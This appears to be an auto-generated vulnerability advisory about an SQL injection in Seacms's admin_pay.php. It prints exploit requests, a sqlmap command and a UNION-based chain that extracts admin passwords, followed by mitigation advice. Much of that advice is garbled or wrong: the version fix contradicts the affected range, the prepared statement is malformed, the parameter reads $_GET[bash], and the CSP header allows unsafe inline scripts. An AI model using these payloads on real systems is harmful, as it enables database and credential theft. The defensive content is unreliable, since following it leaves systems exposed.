CVE-2025-25520 exploits an unauthenticated SQL injection flaw in Seacms v13.3 via the `admin_pay.php` endpoint. Attackers manipulate the `id` parameter to inject malicious SQL queries due to improper input sanitization. This allows database dumping, admin credential theft, or remote code execution. The vulnerability stems from direct concatenation of user-supplied input into SQL statements without prepared queries or escaping.
DailyCVE Form:
Platform: Seacms
Version: <13.3
Vulnerability: SQL Injection
Severity: Critical
Date: 03/28/2025
What Undercode Say:
Exploit:
GET /admin_pay.php?id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))-- HTTP/1.1 Host: target.com
Detection:
sqlmap -u "http://target.com/admin_pay.php?id=1" --risk=3 --level=5
Mitigation:
1. Update to Seacms ≥13.3.
- Apply WAF rules blocking SQL meta-characters (
',--,/).
3. Patch `admin_pay.php` with prepared statements:
$stmt = $conn->prepare("SELECT FROM payments WHERE id = ?");
$stmt->bind_param("i", $_GET[bash]);
Log Analysis:
grep 'admin_pay.php' /var/log/apache2/access.log | egrep -i "union|select|concat"
Exploit Chain:
1. Enumerate tables:
id=1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables--
2. Extract credentials:
id=1' UNION SELECT 1,password,3 FROM admin_users--
Protection:
- Disable `magic_quotes_gpc` if enabled (deprecated in PHP 5.4+).
- Implement CSP headers to restrict inline scripts.
add_header Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'";
